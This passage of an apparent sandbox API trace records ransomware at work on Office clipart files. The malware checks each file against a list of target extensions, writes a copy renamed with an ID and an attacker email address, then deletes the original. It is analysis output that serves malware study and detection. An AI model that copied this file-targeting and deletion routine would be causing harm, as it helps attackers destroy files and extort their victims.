(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0271.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0271.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0271.737] lstrlenW (lpString=".doc") returned 4 [0271.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.108] lstrlenW (lpString=".docx") returned 5 [0272.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.108] lstrlenW (lpString=".pdf") returned 4 [0272.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.108] lstrlenW (lpString=".xls") returned 4 [0272.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.108] lstrlenW (lpString=".xlsx") returned 5 [0272.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.108] lstrlenW (lpString=".ppt") returned 4 [0272.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.108] lstrlenW (lpString=".zip") returned 4 [0272.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.108] lstrlenW (lpString=".rar") returned 4 [0272.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.108] lstrlenW (lpString=".bz2") returned 4 [0272.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString=".7z") returned 3 [0272.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.109] lstrlenW (lpString=".dbf") returned 4 [0272.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.109] lstrlenW (lpString=".1cd") returned 4 [0272.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.109] lstrlenW (lpString=".jpg") returned 4 [0272.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.109] lstrlenW (lpString=".doc") returned 4 [0272.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString=".docx") returned 5 [0272.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.109] lstrlenW (lpString=".pdf") returned 4 [0272.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString=".xls") returned 4 [0272.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.109] lstrlenW (lpString=".xlsx") returned 5 [0272.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.109] lstrlenW (lpString=".ppt") returned 4 [0272.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.109] lstrlenW (lpString=".zip") returned 4 [0272.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.109] lstrlenW (lpString=".rar") returned 4 [0272.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString=".bz2") returned 4 [0272.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.110] lstrlenW (lpString=".7z") returned 3 [0272.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.110] lstrlenW (lpString=".dbf") returned 4 [0272.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.110] lstrlenW (lpString=".1cd") returned 4 [0272.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0272.110] lstrlenW (lpString=".jpg") returned 4 [0272.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.110] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.110] lstrlenW (lpString="EN00242_.WMF") returned 12 [0272.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.128] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=6780) returned 1 [0272.128] CloseHandle (hObject=0x2f8) returned 1 [0272.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0272.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.285] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.285] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0272.316] GetLastError () returned 0x0 [0272.316] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0272.324] WriteFile (in: hFile=0x304, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x1a80, lpOverlapped=0x0) returned 1 [0272.325] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.325] WriteFile (in: hFile=0x304, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.325] SetEndOfFile (hFile=0x304) returned 1 [0272.325] CloseHandle (hObject=0x304) returned 1 [0272.325] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.325] SetEndOfFile (hFile=0x2f0) returned 1 [0272.544] CloseHandle (hObject=0x2f0) returned 1 [0272.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0272.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.545] lstrlenW (lpString=".doc") returned 4 [0272.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString=".docx") returned 5 [0272.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.545] lstrlenW (lpString=".pdf") returned 4 [0272.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString=".xls") returned 4 [0272.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.545] lstrlenW (lpString=".xlsx") returned 5 [0272.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.545] lstrlenW (lpString=".ppt") returned 4 [0272.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.545] lstrlenW (lpString=".zip") returned 4 [0272.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.545] lstrlenW (lpString=".rar") returned 4 [0272.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString=".bz2") returned 4 [0272.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString=".7z") returned 3 [0272.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.545] lstrlenW (lpString=".dbf") returned 4 [0272.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.545] lstrlenW (lpString=".1cd") returned 4 [0272.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.545] lstrlenW (lpString=".jpg") returned 4 [0272.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.546] lstrlenW (lpString=".doc") returned 4 [0272.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.546] lstrlenW (lpString=".docx") returned 5 [0272.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.546] lstrlenW (lpString=".pdf") returned 4 [0272.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.546] lstrlenW (lpString=".xls") returned 4 [0272.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.546] lstrlenW (lpString=".xlsx") returned 5 [0272.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.546] lstrlenW (lpString=".ppt") returned 4 [0272.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.546] lstrlenW (lpString=".zip") returned 4 [0272.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.546] lstrlenW (lpString=".rar") returned 4 [0272.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.546] lstrlenW (lpString=".bz2") returned 4 [0272.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.546] lstrlenW (lpString=".7z") returned 3 [0272.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.546] lstrlenW (lpString=".dbf") returned 4 [0272.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.546] lstrlenW (lpString=".1cd") returned 4 [0272.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0272.546] lstrlenW (lpString=".jpg") returned 4 [0272.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.547] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.547] lstrlenW (lpString="FD00086_.WMF") returned 12 [0272.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.547] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=29212) returned 1 [0272.547] CloseHandle (hObject=0x2f0) returned 1 [0272.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0272.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.547] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.547] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.548] GetLastError () returned 0x0 [0272.548] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x721c, lpOverlapped=0x0) returned 1 [0272.550] WriteFile (in: hFile=0x398, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0272.551] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.551] WriteFile (in: hFile=0x398, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.551] SetEndOfFile (hFile=0x398) returned 1 [0272.551] CloseHandle (hObject=0x398) returned 1 [0272.551] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.551] SetEndOfFile (hFile=0x2f0) returned 1 [0272.554] CloseHandle (hObject=0x2f0) returned 1 [0272.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0272.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.555] lstrlenW (lpString=".doc") returned 4 [0272.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.555] lstrlenW (lpString=".docx") returned 5 [0272.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.555] lstrlenW (lpString=".pdf") returned 4 [0272.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.555] lstrlenW (lpString=".xls") returned 4 [0272.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.555] lstrlenW (lpString=".xlsx") returned 5 [0272.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.555] lstrlenW (lpString=".ppt") returned 4 [0272.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.555] lstrlenW (lpString=".zip") returned 4 [0272.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.555] lstrlenW (lpString=".rar") returned 4 [0272.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.555] lstrlenW (lpString=".bz2") returned 4 [0272.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.555] lstrlenW (lpString=".7z") returned 3 [0272.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.555] lstrlenW (lpString=".dbf") returned 4 [0272.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.556] lstrlenW (lpString=".1cd") returned 4 [0272.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.556] lstrlenW (lpString=".jpg") returned 4 [0272.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.556] lstrlenW (lpString=".doc") returned 4 [0272.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString=".docx") returned 5 [0272.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.556] lstrlenW (lpString=".pdf") returned 4 [0272.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString=".xls") returned 4 [0272.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.556] lstrlenW (lpString=".xlsx") returned 5 [0272.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.556] lstrlenW (lpString=".ppt") returned 4 [0272.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.556] lstrlenW (lpString=".zip") returned 4 [0272.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.556] lstrlenW (lpString=".rar") returned 4 [0272.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString=".bz2") returned 4 [0272.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.556] lstrlenW (lpString=".7z") returned 3 [0272.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.557] lstrlenW (lpString=".dbf") returned 4 [0272.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.557] lstrlenW (lpString=".1cd") returned 4 [0272.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0272.557] lstrlenW (lpString=".jpg") returned 4 [0272.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.557] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.557] lstrlenW (lpString="FD00090_.WMF") returned 12 [0272.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.557] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=14194) returned 1 [0272.557] CloseHandle (hObject=0x2f0) returned 1 [0272.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0272.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.558] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.558] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.558] GetLastError () returned 0x0 [0272.558] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x3772, lpOverlapped=0x0) returned 1 [0272.560] WriteFile (in: hFile=0x398, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x3780, lpOverlapped=0x0) returned 1 [0272.561] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.561] WriteFile (in: hFile=0x398, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.561] SetEndOfFile (hFile=0x398) returned 1 [0272.561] CloseHandle (hObject=0x398) returned 1 [0272.561] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.561] SetEndOfFile (hFile=0x2f0) returned 1 [0272.563] CloseHandle (hObject=0x2f0) returned 1 [0272.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0272.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.564] lstrlenW (lpString=".doc") returned 4 [0272.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.564] lstrlenW (lpString=".docx") returned 5 [0272.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.564] lstrlenW (lpString=".pdf") returned 4 [0272.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.564] lstrlenW 